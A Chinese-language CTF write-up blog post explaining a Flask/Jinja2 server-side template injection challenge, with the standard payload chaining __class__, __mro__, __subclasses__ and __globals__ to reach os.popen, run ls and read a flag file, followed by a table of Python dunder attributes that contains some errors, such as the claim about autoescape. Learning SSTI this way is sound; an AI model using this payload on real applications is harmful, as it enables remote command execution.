作者:[局外人]

分类:[技术分析]

标签CTF SHOW 刷题 新手

阅读时长:约 [3] 分钟

引言(前言)

日常CTF 做题记录,日常做题分享,希望能积累更多的知识!!!

攻防世界command_execution

1.1 题目及分析
python template injection
  • 题目分析
  • 此题主要是利用python程序与Jinja2模版之间的问题
  • Flask使用Jinja2作为模板引擎
  • 在写完此题,我也赶紧测试了一波自己的服务器上的flask应用,发现没有这种问题,后面发现我没有采用Jinja2模版,哈哈。
  • {{}}:将花括号内的内容作为表达式执行并返回对应结果
1.2 思路
  • 基于Jinja2的特性,还有Python中的魔术方法,主要总结在了后面的表格
  • 需要记住的是
  • ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']直接定位到了python的os模块
  • 因此,可以采用popen函数执行系统命令,最后读出结果 {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
  • playload:/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
1.3 结果

大家多多尝试一下有没有更好的方法吧!

二、内置方法

Python 中实际名称

作用说明

是否为 Python 魔术方法

Jinja2 中访问说明

__init__

对象初始化方法(实例化后自动调用)

✅ 是

模板中无法直接调用(构造方法仅实例化时执行),但可访问实例属性

__class__

返回对象所属的类(如 obj.__class__ 获取类)

❌ 是对象属性(非方法)

模板中可通过 {{ obj.__class__ }} 访问(默认沙箱可能限制,需配置)

__module__

返回类定义所在的模块(如 MyClass.__module__

❌ 是类属性(非方法)

模板中可直接访问,如 {{ MyClass.__module__ }}

__mro__

返回类的方法解析顺序(MRO)元组(多继承继承链)

❌ 是类属性(非方法)

模板中可查看继承关系,如 {{ MyClass.__mro__ }}

__base__

获取类的直接父类(单继承场景)

❌ 是类属性(非方法)

模板中可访问,如 {{ MyClass.__base__ }}

__bases__

获取类的直接父类元组(多继承场景)

❌ 是类属性(非方法)

模板中可访问,如 {{ MyClass.__bases__ }}

__dict__

返回类/对象的属性字典(存储属性键值对)

✅ 是

模板中可遍历属性(如 {{ obj.__dict__ }}),默认沙箱可能隐藏 __xxx__

subclasses()

返回类的活跃子类列表(type 类的方法)

❌ 非魔术方法(普通方法)

模板中需通过 {{ MyClass.subclasses() }} 调用(需确保方法可被模板访问)

__globals__

函数的全局命名空间字典(如 func.__globals__

❌ 是函数属性(非方法)

模板中若传入函数,可访问其全局变量(慎用,暴露风险,默认沙箱限制

import

Python 导入语句(非特性/方法)

❌ 无

Jinja2 中通过 {% import "module.html" as mod %} 导入模板,与 Python 魔术方法无关

__builtins__

指向 Python 内置模块(如 __builtins__.print

❌ 是模块属性(非方法)

模板中默认无法直接访问(安全限制),需显式传入或调整沙箱配置

补充说明:

  • Python 魔术方法:必须是 双下划线包围(如 __init__ __str__),由解释器自动触发的方法。
  • Jinja2 沙箱限制:默认隐藏 __xxx__ 类属性(安全考虑),如需开放,需通过 Environment 配置 autoescape=False 或自定义沙箱策略。
  • 若需 Jinja2 模板的“特殊能力”(如自定义逻辑),更推荐用 过滤器、测试、宏 实现,而非直接依赖 Python 内部属性。

互动环节

  • 各位大佬们是否有更优的实现方式?欢迎分享代码
  • 评论区聊聊吧~